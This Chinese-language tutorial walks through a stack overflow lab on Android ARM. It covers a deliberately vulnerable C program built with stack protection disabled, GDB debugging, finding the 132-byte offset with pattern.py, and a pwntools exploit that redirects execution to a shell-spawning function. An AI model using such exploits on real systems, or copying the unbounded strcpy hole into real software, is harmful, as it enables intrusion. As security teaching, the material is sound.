上一篇讲解了栈溢出攻击的基础原理,该篇作为基础原理的一个延展,通过调试分析一个简单的栈溢出漏洞,加深对栈溢出原理的理解。
#include
#include
#include
void callsystem()
{
system("/system/bin/sh");
}
void mPrint(char* str , int len)
{
write(STDOUT_FILENO, str, len);
}
void function(char* str) {
char buf[128];
strcpy(buf , str);
}
int main(int argc, char** argv) {
char buf[256];
if (argc==2&&strcmp("passwd",argv[1])==0)
callsystem();
mPrint("stack overflow example !\n", 25);
read(STDIN_FILENO, buf, 256);
mPrint("call vulnerable function !\n" , 27);
function(buf);
}
为了更好的理解栈溢出原理,在编译程序时通过在Application.mk并加入APP_CFLAGS += -fno-stack-protector选项去掉栈保护防御机制:
APP_ABI := armeabi
APP_CFLAGS += -fno-stack-protector
通过ndk-build编译后推送到手机中准备进行调试,具体过程详见搭建Android系统C程序调试环境。
首先,利用pattern.py来生成150个字节的测试字符串:
root@Tangxx:~/toos# python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
通过另一个python脚本负责发送测试字符串触发栈溢出漏洞:
#!/usr/bin/env python
from pwn import *
p = remote('127.0.0.1',10001)
p.recvuntil('\n')
raw_input()
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"
p.send(payload)
p.interactive()
为了简化调试过程,为常用的操作建立Makefile(在jni目录下)文件:
all: build
build:
ndk-build NDK_DEBUG=1
push:
adb shell rm /data/local/tmp/level6
adb push ../libs/armeabi/level6 /data/local/tmp
socat:
adb shell ./data/local/tmp/socat TCP4-LISTEN:10001 EXEC:./data/local/tmp/level6
test:
python /root/ndk_workspace/study-ROP/exp/test.py
exp:
python /root/ndk_workspace/study-ROP/exp/level6.py
clean:
rm -rf ../libs
rm -rf ../obj
编译、推送并绑定端口:
root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make build
ndk-build NDK_DEBUG=1
make[1]: Entering directory `/root/ndk_workspace/study-ROP/level6/jni'
[armeabi] Gdbserver : [arm-linux-androideabi-4.6] libs/armeabi/gdbserver
[armeabi] Gdbsetup : libs/armeabi/gdb.setup
[armeabi] Compile thumb : level6 <= level6.c
[armeabi] Executable : level6
[armeabi] Install : level6 => libs/armeabi/level6
make[1]: Leaving directory `/root/ndk_workspace/study-ROP/level6/jni'
root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make push
adb shell rm /data/local/tmp/level6
adb push ../libs/armeabi/level6 /data/local/tmp
172 KB/s (9496 bytes in 0.053s)
root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make socat
adb shell ./data/local/tmp/socat TCP4-LISTEN:10001 EXEC:./data/local/tmp/level6
运行测试脚本:
root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make test
python /root/ndk_workspace/study-ROP/exp/test.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
确定进程ID:
root@hammerhead:/data/local/tmp # ps | grep "level"
shell 16075 16073 848 164 c0906808 b6edc2c8 S ./data/local/tmp/level6
启动GDB服务端:
root@Tangxx:~/android_source/android_442# adb shell su -c /data/local/tmp/gdbserver --attach tcp:31337 16075
Attached; pid = 16075
Listening on port 31337
启动GDB客户端:
root@Tangxx:~/android_source/android_442/gn-gdb# arm-eabi-gdb -q -x script.gdb level6
Reading symbols from /root/android_source/android_442/gn-gdb/level6...done.
warning: Could not load shared library symbols for 2 libraries, e.g. libstdc++.so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
warning: Breakpoint address adjusted from 0xb6f21bf9 to 0xb6f21bf8.
read () at bionic/libc/arch-arm/syscalls/read.S:9
9 swi #0
(gdb)
设置断点让程序停在漏洞函数function调用位置:
(gdb) b /root/ndk_workspace/study-ROP/level6/jni/level6.c:29
Breakpoint 1 at 0x8630: file /root/ndk_workspace/study-ROP/level6/jni/level6.c, line 29.
(gdb) c
Continuing.
Breakpoint 1, main (argc=1, argv=0xbe91aa44) at /root/ndk_workspace/study-ROP/level6/jni/level6.c:29
29 function(buf);
(gdb)
进入反编译模式调试function:
function函数的反汇编:
0x857c push {r11, lr} ;创建栈帧,保存函数返回地址lr和环境变量r11
0x8580 4> add r11, sp, #4
0x8584 8> sub sp, sp, #136 ;在栈上为局部变量char buf[128]分配空间
0x8588 12> str r0, [r11, #-136] ; 将function函数参数str地址保存在栈中
0x858c 16> sub r3, r11, #132 ; 获取str字符串的开始地址
0x8590 20> mov r0, r3 ;strcpy函数的第二个参数str地址
0x8594 24> ldr r1, [r11, #-136] ;strcpy函数的第一个参数buf地址
0x8598 28> bl 0x843c ;调用strcpy触发栈溢出
0x859c 32> sub sp, r11, #4 ;调整栈平衡
0x85a0 36> pop {r11, pc} ;恢复环境变量,并设置函数返回地址到PC中
首先确定function函数的栈基地址:
(gdb) i r sp
sp 0xbe91a900 0xbe91a900
最终测试字符串溢出并覆盖了function的返回地址,为了确定测试字符串的哪4个字符覆盖的返回地址,可通过pattern.py来计算:
root@Tangxx:~/toos# python pattern.py offset 0x41346541
hex pattern decoded as: Ae4A
132
定位到测试字符串的溢出点后,实际上我们已经劫持了PC指针,也可以说我们已经劫持了软件的正常执行流程,接下来就是让程序(其实是CPU)来执行“邪恶代码”。
首先,需要解决两个问题:1)我们如何把“邪恶代码”布置(最好是任意写)到内存的某个地址。2)由于ASLR防御机制的存在,在1)我们布置在内存中的“邪恶代码”实际上是处于飘忽不定的状态,必须要解决如何在栈溢出时能够找到“邪恶代码”并控制PC指向该地址。
在实际的漏洞中要回答上面两个问题往往是很困难,需要使用一些利用技术或者和其他漏洞进行配合,比如,可以利用Ret2Lib或ROP技术在现有动态库中来找到或拼凑“邪恶代码”;利用堆喷射技术“地毯轰炸”式定位“邪恶代码”;利用信息泄露漏洞“精准打击”式定位“邪恶代码”。这里只是抛砖引玉不打算展开具体讨论和实现,本文只是简单的假设不存在ASLR机制并利用程序中已有的函数callsystem来获取shell。
接下来,为了让栈溢出后PC指向callsystem函数,首先找到callsystem函数的地址0x852c:
由于编译时没有添加PIE编译选项,所以程序未开启ASLR,每次启动时代码区地址固定不变。
最后编写这个简单例子的利用exp:
#!/usr/bin/env python
from pwn import *
p = remote('127.0.0.1',10001)
p.recvuntil('\n')
callsystemaddr = 0x0000852c
#PC point to callsystemaddr
payload = 'A'*132 + p32(callsystemaddr)
p.send(payload)
p.interactive()
运行exp:
root@Tangxx:~/ndk_workspace/study-ROP/level6/jni# make exp
python /root/ndk_workspace/study-ROP/exp/level6.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
call vulnerable function !
$ ls
acct
cache
charger
config
......
http://drops.wooyun.org/papers/11390